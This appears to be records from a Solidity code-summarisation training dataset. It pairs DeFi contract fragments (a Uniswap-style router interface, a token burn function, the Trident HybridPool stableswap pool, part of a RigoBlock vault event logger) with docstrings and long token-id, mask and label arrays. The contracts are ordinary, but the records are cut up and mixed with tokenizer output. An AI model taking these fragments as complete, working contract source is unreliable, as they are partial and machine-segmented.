uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut, uint swapFee) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut, uint swapFee) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
} | * @dev Destroys `amount` tokens from `msg.sender`, decreasing the total supply./ | function burn(uint256 amount) public returns (bool) {
_burn(_msgSender(), amount);
return true;
}
| 1,357,310 | [
1,
9378,
28599,
1375,
8949,
68,
2430,
628,
1375,
3576,
18,
15330,
9191,
23850,
11730,
326,
2078,
14467,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
18305,
12,
11890,
5034,
3844,
13,
1071,
1135,
261,
6430,
13,
288,
203,
3639,
389,
70,
321,
24899,
3576,
12021,
9334,
3844,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.0;
import "../interfaces/IBentoBoxMinimal.sol";
import "../interfaces/IMasterDeployer.sol";
import "../interfaces/IPool.sol";
import "../interfaces/ITridentCallee.sol";
import "../libraries/MathUtils.sol";
import "./TridentERC20.sol";
import "../libraries/RebaseLibrary.sol";
/// @notice Trident exchange pool template with hybrid like-kind formula for swapping between an ERC-20 token pair.
/// @dev The reserves are stored as bento shares. However, the stableswap invariant is applied to the underlying amounts.
/// The API uses the underlying amounts.
contract HybridPool is IPool, TridentERC20 {
using MathUtils for uint256;
using RebaseLibrary for Rebase;
event Mint(address indexed sender, uint256 amount0, uint256 amount1, address indexed recipient, uint256 liquidity);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed recipient, uint256 liquidity);
event Sync(uint256 reserve0, uint256 reserve1);
uint256 internal constant MINIMUM_LIQUIDITY = 10**3;
uint8 internal constant PRECISION = 112;
/// @dev Constant value used as max loop limit.
uint256 private constant MAX_LOOP_LIMIT = 256;
uint256 internal constant MAX_FEE = 10000; // @dev 100%.
uint256 public immutable swapFee;
IBentoBoxMinimal public immutable bento;
IMasterDeployer public immutable masterDeployer;
address public immutable barFeeTo;
address public immutable token0;
address public immutable token1;
uint256 public immutable A;
uint256 internal immutable N_A; // @dev 2 * A.
uint256 internal constant A_PRECISION = 100;
/// @dev Multipliers for each pooled token's precision to get to POOL_PRECISION_DECIMALS.
/// For example, TBTC has 18 decimals, so the multiplier should be 1. WBTC
/// has 8, so the multiplier should be 10 ** 18 / 10 ** 8 => 10 ** 10.
uint256 public immutable token0PrecisionMultiplier;
uint256 public immutable token1PrecisionMultiplier;
uint256 public barFee;
uint128 internal reserve0;
uint128 internal reserve1;
uint256 internal dLast;
bytes32 public constant override poolIdentifier = "Trident:HybridPool";
uint256 internal unlocked;
modifier lock() {
require(unlocked == 1, "LOCKED");
unlocked = 2;
_;
unlocked = 1;
}
constructor(bytes memory _deployData, address _masterDeployer) {
(address _token0, address _token1, uint256 _swapFee, uint256 a) = abi.decode(_deployData, (address, address, uint256, uint256));
// @dev Factory ensures that the tokens are sorted.
require(_token0 != address(0), "ZERO_ADDRESS");
require(_token0 != _token1, "IDENTICAL_ADDRESSES");
require(_swapFee <= MAX_FEE, "INVALID_SWAP_FEE");
require(a != 0, "ZERO_A");
token0 = _token0;
token1 = _token1;
swapFee = _swapFee;
barFee = IMasterDeployer(_masterDeployer).barFee();
barFeeTo = IMasterDeployer(_masterDeployer).barFeeTo();
bento = IBentoBoxMinimal(IMasterDeployer(_masterDeployer).bento());
masterDeployer = IMasterDeployer(_masterDeployer);
A = a;
N_A = 2 * a;
token0PrecisionMultiplier = uint256(10)**(decimals - TridentERC20(_token0).decimals());
token1PrecisionMultiplier = uint256(10)**(decimals - TridentERC20(_token1).decimals());
unlocked = 1;
}
/// @dev Mints LP tokens - should be called via the router after transferring `bento` tokens.
/// The router must ensure that sufficient LP tokens are minted by using the return value.
function mint(bytes calldata data) public override lock returns (uint256 liquidity) {
address recipient = abi.decode(data, (address));
(uint256 _reserve0, uint256 _reserve1) = _getReserves();
(uint256 balance0, uint256 balance1) = _balance();
uint256 newLiq = _computeLiquidity(balance0, balance1);
uint256 amount0 = balance0 - _reserve0;
uint256 amount1 = balance1 - _reserve1;
(uint256 fee0, uint256 fee1) = _nonOptimalMintFee(amount0, amount1, _reserve0, _reserve1);
_reserve0 += uint112(fee0);
_reserve1 += uint112(fee1);
(uint256 _totalSupply, uint256 oldLiq) = _mintFee(_reserve0, _reserve1);
if (_totalSupply == 0) {
require(amount0 > 0 && amount1 > 0, "INVALID_AMOUNTS");
liquidity = newLiq - MINIMUM_LIQUIDITY;
_mint(address(0), MINIMUM_LIQUIDITY);
} else {
liquidity = ((newLiq - oldLiq) * _totalSupply) / oldLiq;
}
require(liquidity != 0, "INSUFFICIENT_LIQUIDITY_MINTED");
_mint(recipient, liquidity);
_updateReserves();
dLast = newLiq;
uint256 liquidityForEvent = liquidity;
emit Mint(msg.sender, amount0, amount1, recipient, liquidityForEvent);
}
/// @dev Burns LP tokens sent to this contract. The router must ensure that the user gets sufficient output tokens.
function burn(bytes calldata data) public override lock returns (IPool.TokenAmount[] memory withdrawnAmounts) {
(address recipient, bool unwrapBento) = abi.decode(data, (address, bool));
(uint256 balance0, uint256 balance1) = _balance();
uint256 liquidity = balanceOf[address(this)];
(uint256 _totalSupply, ) = _mintFee(balance0, balance1);
uint256 amount0 = (liquidity * balance0) / _totalSupply;
uint256 amount1 = (liquidity * balance1) / _totalSupply;
_burn(address(this), liquidity);
_transfer(token0, amount0, recipient, unwrapBento);
_transfer(token1, amount1, recipient, unwrapBento);
_updateReserves();
withdrawnAmounts = new TokenAmount[](2);
withdrawnAmounts[0] = TokenAmount({token: token0, amount: amount0});
withdrawnAmounts[1] = TokenAmount({token: token1, amount: amount1});
dLast = _computeLiquidity(balance0 - amount0, balance1 - amount1);
emit Burn(msg.sender, amount0, amount1, recipient, liquidity);
}
/// @dev Burns LP tokens sent to this contract and swaps one of the output tokens for another
/// - i.e., the user gets a single token out by burning LP tokens.
function burnSingle(bytes calldata data) public override lock returns (uint256 amountOut) {
(address tokenOut, address recipient, bool unwrapBento) = abi.decode(data, (address, address, bool));
(uint256 balance0, uint256 balance1) = _balance();
uint256 liquidity = balanceOf[address(this)];
(uint256 _totalSupply, ) = _mintFee(balance0, balance1);
uint256 amount0 = (liquidity * balance0) / _totalSupply;
uint256 amount1 = (liquidity * balance1) / _totalSupply;
_burn(address(this), liquidity);
dLast = _computeLiquidity(balance0 - amount0, balance1 - amount1);
// Swap tokens
if (tokenOut == token1) {
// @dev Swap `token0` for `token1`.
// @dev Calculate `amountOut` as if the user first withdrew balanced liquidity and then swapped `token0` for `token1`.
amount1 += _getAmountOut(amount0, balance0 - amount0, balance1 - amount1, true);
_transfer(token1, amount1, recipient, unwrapBento);
amountOut = amount1;
amount0 = 0;
} else {
// @dev Swap `token1` for `token0`.
require(tokenOut == token0, "INVALID_OUTPUT_TOKEN");
amount0 += _getAmountOut(amount1, balance0 - amount0, balance1 - amount1, false);
_transfer(token0, amount0, recipient, unwrapBento);
amountOut = amount0;
amount1 = 0;
}
_updateReserves();
emit Burn(msg.sender, amount0, amount1, recipient, liquidity);
}
/// @dev Swaps one token for another. The router must prefund this contract and ensure there isn't too much slippage.
function swap(bytes calldata data) public override lock returns (uint256 amountOut) {
(address tokenIn, address recipient, bool unwrapBento) = abi.decode(data, (address, address, bool));
(uint256 _reserve0, uint256 _reserve1, uint256 balance0, uint256 balance1) = _getReservesAndBalances();
uint256 amountIn;
address tokenOut;
if (tokenIn == token0) {
tokenOut = token1;
unchecked {
amountIn = balance0 - _reserve0;
}
amountOut = _getAmountOut(amountIn, _reserve0, _reserve1, true);
} else {
require(tokenIn == token1, "INVALID_INPUT_TOKEN");
tokenOut = token0;
unchecked {
amountIn = balance1 - _reserve1;
}
amountOut = _getAmountOut(amountIn, _reserve0, _reserve1, false);
}
_transfer(tokenOut, amountOut, recipient, unwrapBento);
_updateReserves();
emit Swap(recipient, tokenIn, tokenOut, amountIn, amountOut);
}
/// @dev Swaps one token for another with payload. The router must support swap callbacks and ensure there isn't too much slippage.
function flashSwap(bytes calldata data) public override lock returns (uint256 amountOut) {
(address tokenIn, address recipient, bool unwrapBento, uint256 amountIn, bytes memory context) = abi.decode(
data,
(address, address, bool, uint256, bytes)
);
(uint256 _reserve0, uint256 _reserve1) = _getReserves();
address tokenOut;
if (tokenIn == token0) {
tokenOut = token1;
amountIn = bento.toAmount(token0, amountIn, false);
amountOut = _getAmountOut(amountIn, _reserve0, _reserve1, true);
_processSwap(token1, recipient, amountOut, context, unwrapBento);
uint256 balance0 = bento.toAmount(token0, bento.balanceOf(token0, address(this)), false);
require(balance0 - _reserve0 >= amountIn, "INSUFFICIENT_AMOUNT_IN");
} else {
require(tokenIn == token1, "INVALID_INPUT_TOKEN");
tokenOut = token0;
amountIn = bento.toAmount(token1, amountIn, false);
amountOut = _getAmountOut(amountIn, _reserve0, _reserve1, false);
_processSwap(token0, recipient, amountOut, context, unwrapBento);
uint256 balance1 = bento.toAmount(token1, bento.balanceOf(token1, address(this)), false);
require(balance1 - _reserve1 >= amountIn, "INSUFFICIENT_AMOUNT_IN");
}
_updateReserves();
emit Swap(recipient, tokenIn, tokenOut, amountIn, amountOut);
}
/// @dev Updates `barFee` for Trident protocol.
function updateBarFee() public {
barFee = masterDeployer.barFee();
}
function _processSwap(
address tokenOut,
address to,
uint256 amountOut,
bytes memory data,
bool unwrapBento
) internal {
_transfer(tokenOut, amountOut, to, unwrapBento);
if (data.length != 0) ITridentCallee(msg.sender).tridentSwapCallback(data);
}
function _getReserves() internal view returns (uint256 _reserve0, uint256 _reserve1) {
(_reserve0, _reserve1) = (reserve0, reserve1);
_reserve0 = bento.toAmount(token0, _reserve0, false);
_reserve1 = bento.toAmount(token1, _reserve1, false);
}
function _getReservesAndBalances()
internal
view
returns (
uint256 _reserve0,
uint256 _reserve1,
uint256 balance0,
uint256 balance1
)
{
(_reserve0, _reserve1) = (reserve0, reserve1);
balance0 = bento.balanceOf(token0, address(this));
balance1 = bento.balanceOf(token1, address(this));
Rebase memory total0 = bento.totals(token0);
Rebase memory total1 = bento.totals(token1);
_reserve0 = total0.toElastic(_reserve0);
_reserve1 = total1.toElastic(_reserve1);
balance0 = total0.toElastic(balance0);
balance1 = total1.toElastic(balance1);
}
function _updateReserves() internal {
(uint256 _reserve0, uint256 _reserve1) = _balance();
require(_reserve0 < type(uint128).max && _reserve1 < type(uint128).max, "OVERFLOW");
reserve0 = uint128(_reserve0);
reserve1 = uint128(_reserve1);
emit Sync(_reserve0, _reserve1);
}
function _balance() internal view returns (uint256 balance0, uint256 balance1) {
balance0 = bento.toAmount(token0, bento.balanceOf(token0, address(this)), false);
balance1 = bento.toAmount(token1, bento.balanceOf(token1, address(this)), false);
}
function _getAmountOut(
uint256 amountIn,
uint256 _reserve0,
uint256 _reserve1,
bool token0In
) internal view returns (uint256 dy) {
unchecked {
uint256 adjustedReserve0 = _reserve0 * token0PrecisionMultiplier;
uint256 adjustedReserve1 = _reserve1 * token1PrecisionMultiplier;
uint256 feeDeductedAmountIn = amountIn - (amountIn * swapFee) / MAX_FEE;
uint256 d = _computeLiquidityFromAdjustedBalances(adjustedReserve0, adjustedReserve1);
if (token0In) {
uint256 x = adjustedReserve0 + (feeDeductedAmountIn * token0PrecisionMultiplier);
uint256 y = _getY(x, d);
dy = adjustedReserve1 - y - 1;
dy /= token1PrecisionMultiplier;
} else {
uint256 x = adjustedReserve1 + (feeDeductedAmountIn * token1PrecisionMultiplier);
uint256 y = _getY(x, d);
dy = adjustedReserve0 - y - 1;
dy /= token0PrecisionMultiplier;
}
}
}
function _transfer(
address token,
uint256 amount,
address to,
bool unwrapBento
) internal {
if (unwrapBento) {
bento.withdraw(token, address(this), to, amount, 0);
} else {
bento.transfer(token, address(this), to, bento.toShare(token, amount, false));
}
}
/// @notice Get D, the StableSwap invariant, based on a set of balances and a particular A.
/// See the StableSwap paper for details.
/// @dev Originally https://github.com/saddle-finance/saddle-contract/blob/0b76f7fb519e34b878aa1d58cffc8d8dc0572c12/contracts/SwapUtils.sol#L319.
/// @return liquidity The invariant, at the precision of the pool.
function _computeLiquidity(uint256 _reserve0, uint256 _reserve1) internal view returns (uint256 liquidity) {
unchecked {
uint256 adjustedReserve0 = _reserve0 * token0PrecisionMultiplier;
uint256 adjustedReserve1 = _reserve1 * token1PrecisionMultiplier;
liquidity = _computeLiquidityFromAdjustedBalances(adjustedReserve0, adjustedReserve1);
}
}
function _computeLiquidityFromAdjustedBalances(uint256 xp0, uint256 xp1) internal view returns (uint256 computed) {
uint256 s = xp0 + xp1;
if (s == 0) {
computed = 0;
}
uint256 prevD;
uint256 D = s;
for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) {
uint256 dP = (((D * D) / xp0) * D) / xp1 / 4;
prevD = D;
D = (((N_A * s) / A_PRECISION + 2 * dP) * D) / ((N_A / A_PRECISION - 1) * D + 3 * dP);
if (D.within1(prevD)) {
break;
}
}
computed = D;
}
/// @notice Calculate the new balances of the tokens given the indexes of the token
/// that is swapped from (FROM) and the token that is swapped to (TO).
/// This function is used as a helper function to calculate how much TO token
/// the user should receive on swap.
/// @dev Originally https://github.com/saddle-finance/saddle-contract/blob/0b76f7fb519e34b878aa1d58cffc8d8dc0572c12/contracts/SwapUtils.sol#L432.
/// @param x The new total amount of FROM token.
/// @return y The amount of TO token that should remain in the pool.
function _getY(uint256 x, uint256 D) internal view returns (uint256 y) {
uint256 c = (D * D) / (x * 2);
c = (c * D) / ((N_A * 2) / A_PRECISION);
uint256 b = x + ((D * A_PRECISION) / N_A);
uint256 yPrev;
y = D;
// @dev Iterative approximation.
for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) {
yPrev = y;
y = (y * y + c) / (y * 2 + b - D);
if (y.within1(yPrev)) {
break;
}
}
}
function _mintFee(uint256 _reserve0, uint256 _reserve1) internal returns (uint256 _totalSupply, uint256 d) {
_totalSupply = totalSupply;
uint256 _dLast = dLast;
if (_dLast != 0) {
d = _computeLiquidity(_reserve0, _reserve1);
if (d > _dLast) {
// @dev `barFee` % of increase in liquidity.
// It's going to be slightly less than `barFee` % in reality due to the math.
uint256 liquidity = (_totalSupply * (d - _dLast) * barFee) / d / MAX_FEE;
if (liquidity != 0) {
_mint(barFeeTo, liquidity);
_totalSupply += liquidity;
}
}
}
}
/// @dev This fee is charged to cover for `swapFee` when users add unbalanced liquidity.
function _nonOptimalMintFee(
uint256 _amount0,
uint256 _amount1,
uint256 _reserve0,
uint256 _reserve1
) internal view returns (uint256 token0Fee, uint256 token1Fee) {
if (_reserve0 == 0 || _reserve1 == 0) return (0, 0);
uint256 amount1Optimal = (_amount0 * _reserve1) / _reserve0;
if (amount1Optimal <= _amount1) {
token1Fee = (swapFee * (_amount1 - amount1Optimal)) / (2 * MAX_FEE);
} else {
uint256 amount0Optimal = (_amount1 * _reserve0) / _reserve1;
token0Fee = (swapFee * (_amount0 - amount0Optimal)) / (2 * MAX_FEE);
}
}
function getAssets() public view override returns (address[] memory assets) {
assets = new address[](2);
assets[0] = token0;
assets[1] = token1;
}
function getAmountOut(bytes calldata data) public view override returns (uint256 finalAmountOut) {
(address tokenIn, uint256 amountIn) = abi.decode(data, (address, uint256));
(uint256 _reserve0, uint256 _reserve1) = _getReserves();
amountIn = bento.toAmount(tokenIn, amountIn, false);
if (tokenIn == token0) {
finalAmountOut = bento.toShare(token1, _getAmountOut(amountIn, _reserve0, _reserve1, true), false);
} else {
require(tokenIn == token1, "INVALID_INPUT_TOKEN");
finalAmountOut = bento.toShare(token0, _getAmountOut(amountIn, _reserve0, _reserve1, false), false);
}
}
function getAmountIn(bytes calldata) public pure override returns (uint256) {
revert();
}
function getReserves() public view returns (uint256 _reserve0, uint256 _reserve1) {
(_reserve0, _reserve1) = _getReserves();
}
function getVirtualPrice() public view returns (uint256 virtualPrice) {
(uint256 _reserve0, uint256 _reserve1) = _getReserves();
uint256 d = _computeLiquidity(_reserve0, _reserve1);
virtualPrice = (d * (uint256(10)**decimals)) / totalSupply;
}
}
| @notice Calculate the new balances of the tokens given the indexes of the token that is swapped from (FROM) and the token that is swapped to (TO). This function is used as a helper function to calculate how much TO token the user should receive on swap. @dev Originally https://github.com/saddle-finance/saddle-contract/blob/0b76f7fb519e34b878aa1d58cffc8d8dc0572c12/contracts/SwapUtils.sol#L432. @param x The new total amount of FROM token. @return y The amount of TO token that should remain in the pool. @dev Iterative approximation. | function _getY(uint256 x, uint256 D) internal view returns (uint256 y) {
uint256 c = (D * D) / (x * 2);
c = (c * D) / ((N_A * 2) / A_PRECISION);
uint256 b = x + ((D * A_PRECISION) / N_A);
uint256 yPrev;
y = D;
for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) {
yPrev = y;
y = (y * y + c) / (y * 2 + b - D);
if (y.within1(yPrev)) {
break;
}
}
}
| 12,972,550 | [
1,
8695,
326,
394,
324,
26488,
434,
326,
2430,
864,
326,
5596,
434,
326,
1147,
716,
353,
7720,
1845,
628,
261,
11249,
13,
471,
326,
1147,
716,
353,
7720,
1845,
358,
261,
4296,
2934,
1220,
445,
353,
1399,
487,
279,
4222,
445,
358,
4604,
3661,
9816,
8493,
1147,
326,
729,
1410,
6798,
603,
7720,
18,
225,
18040,
1230,
2333,
2207,
6662,
18,
832,
19,
87,
1289,
298,
17,
926,
1359,
19,
87,
1289,
298,
17,
16351,
19,
10721,
19,
20,
70,
6669,
74,
27,
19192,
25,
3657,
73,
5026,
70,
28,
8285,
7598,
21,
72,
8204,
71,
1403,
71,
28,
72,
28,
7201,
6260,
9060,
71,
2138,
19,
16351,
87,
19,
12521,
1989,
18,
18281,
48,
24,
1578,
18,
225,
619,
1021,
394,
2078,
3844,
434,
4571,
1147,
18,
327,
677,
1021,
3844,
434,
8493,
1147,
716,
1410,
7232,
316,
326,
2845,
18,
225,
3016,
1535,
24769,
18,
2,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0
] | [
1,
565,
445,
389,
588,
61,
12,
11890,
5034,
619,
16,
2254,
5034,
463,
13,
2713,
1476,
1135,
261,
11890,
5034,
677,
13,
288,
203,
3639,
2254,
5034,
276,
273,
261,
40,
380,
463,
13,
342,
261,
92,
380,
576,
1769,
203,
3639,
276,
273,
261,
71,
380,
463,
13,
342,
14015,
50,
67,
37,
380,
576,
13,
342,
432,
67,
3670,
26913,
1769,
203,
3639,
2254,
5034,
324,
273,
619,
397,
14015,
40,
380,
432,
67,
3670,
26913,
13,
342,
423,
67,
37,
1769,
203,
3639,
2254,
5034,
677,
9958,
31,
203,
3639,
677,
273,
463,
31,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
4552,
67,
28677,
67,
8283,
31,
277,
27245,
288,
203,
5411,
677,
9958,
273,
677,
31,
203,
5411,
677,
273,
261,
93,
380,
677,
397,
276,
13,
342,
261,
93,
380,
576,
397,
324,
300,
463,
1769,
203,
5411,
309,
261,
93,
18,
25850,
21,
12,
93,
9958,
3719,
288,
203,
7734,
898,
31,
203,
5411,
289,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/*
Copyright 2017-2018 RigoBlock, Rigo Investment Sagl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.5.0;
import { AuthorityFace as Authority } from "../authorities/Authority/AuthorityFace.sol";
import { VaultEventfulFace } from "./VaultEventfulFace.sol";
/// @title Vault Eventful - Logs events for all vaults.
/// @author Gabriele Rigo - <[email protected]>
// solhint-disable-next-line
contract VaultEventful is VaultEventfulFace {
string public constant VERSION = 'DH 0.4.2';
address public AUTHORITY;
event BuyVault(
address indexed vault,
address indexed from,
address indexed to,
uint256 amount,
uint256 revenue,
bytes name,
bytes symbol
);
event SellVault(
address indexed vault,
address indexed from,
address indexed to,
uint256 amount,
uint256 revenue,
bytes name,
bytes symbol
);
event NewRatio(
address indexed vault,
address indexed from,
uint256 newRatio
);
event NewFee(
address indexed vault,
address indexed from,
address indexed to,
uint256 fee
);
event NewCollector(
address indexed vault,
address indexed from,
address indexed to,
address collector
);
event VaultDao(
address indexed vault,
address indexed from,
address indexed to,
address vaultDao
);
event VaultCreated(
address indexed vault,
address indexed group,
address indexed owner,
uint256 vaultId,
string name,
string symbol
);
modifier approvedFactoryOnly(address _factory) {
Authority auth = Authority(AUTHORITY);
require(auth.isWhitelistedFactory(_factory));
_;
}
modifier approvedVaultOnly(address _vault) {
Authority auth = Authority(AUTHORITY);
require(auth.isWhitelistedVault(_vault));
_;
}
modifier approvedUserOnly(address _user) {
Authority auth = Authority(AUTHORITY);
require(auth.isWhitelistedUser(_user));
_;
}
constructor(address _authority) public {
AUTHORITY = _authority;
}
/*
* CORE FUNCTIONS
*/
/// @dev Logs a Buy Vault event.
/// @param _who Address of who is buying
/// @param _targetVault Address of the target vault
/// @param _value Value of the transaction in Ether
/// @param _amount Number of shares purchased
/// @return Bool the transaction executed successfully
/// @notice transform name and symbol in .js with web3.toAscii(bytes32_date)
function buyVault(
address _who,
address _targetVault,
uint256 _value,
uint256 _amount,
bytes calldata _name,
bytes calldata _symbol)
external
approvedVaultOnly(msg.sender)
returns (bool success)
{
buyVaultInternal(_targetVault, _who, msg.sender, _value, _amount, _name, _symbol);
return true;
}
/// @dev Logs a Sell Vault event.
/// @param _who Address of who is selling
/// @param _targetVault Address of the target vault
/// @param _amount Number of shares purchased
/// @param _revenue Value of the transaction in Ether
/// @return Bool the transaction executed successfully
/// @notice transform name and symbol in .js with web3.toAscii(bytes32_date)
function sellVault(
address _who,
address _targetVault,
uint256 _amount,
uint256 _revenue,
bytes calldata _name,
bytes calldata _symbol)
external
approvedVaultOnly(msg.sender)
returns(bool success)
{
require(_amount > 0);
sellVaultInternal(_targetVault, _who, msg.sender, _amount, _revenue, _name, _symbol);
return true;
}
/// @dev Logswhen rigoblock dao changes fee split.
/// @param _who Address of the caller
/// @param _targetVault Address of the target vault
/// @param _ratio Ratio number from 0 to 100
/// @return Bool the transaction executed successfully
function changeRatio(
address _who,
address _targetVault,
uint256 _ratio)
external
approvedVaultOnly(msg.sender)
returns(bool success)
{
require(_ratio > 0);
emit NewRatio(_targetVault, _who, _ratio);
return true;
}
/// @dev Logs a modification of the transaction fee event
/// @param _who Address of the caller
/// @param _targetVault Address of the target Vault
/// @param _transactionFee Value of the transaction fee in basis points
/// @return Bool the transaction executed successfully
function setTransactionFee(
address _who,
address _targetVault,
uint256 _transactionFee)
external
approvedVaultOnly(msg.sender)
approvedUserOnly(_who)
returns(bool success)
{
emit NewFee(_targetVault, msg.sender, _who, _transactionFee);
return true;
}
/// @dev Logs when wizard changes fee collector address
/// @param _who Address of the caller
/// @param _targetVault Address of the target Vault
/// @param _feeCollector Address of the new fee collector
/// @return Bool the transaction executed successfully
function changeFeeCollector(
address _who,
address _targetVault,
address _feeCollector)
external
approvedVaultOnly(msg.sender)
approvedUserOnly(_who)
returns(bool success)
{
emit NewCollector(_targetVault, msg.sender, _who, _feeCollector);
return true;
}
/// @dev Logs a change in the vault dao of an approved vault
/// @param _who Address of the caller
/// @param _targetVault Address of the vault
/// @param _vaultDao Address of the new vault dao
/// @return Bool the transaction executed successfully
function changeVaultDao(
address _who,
address _targetVault,
address _vaultDao)
external
approvedVaultOnly(msg.sender)
approvedUserOnly(_who)
returns(bool success)
{
emit VaultDao(_targetVault, msg.sender, _who, _vaultDao);
return true;
}
/// @dev Logs a new Vault creation by factory
/// @param _who Address of the caller
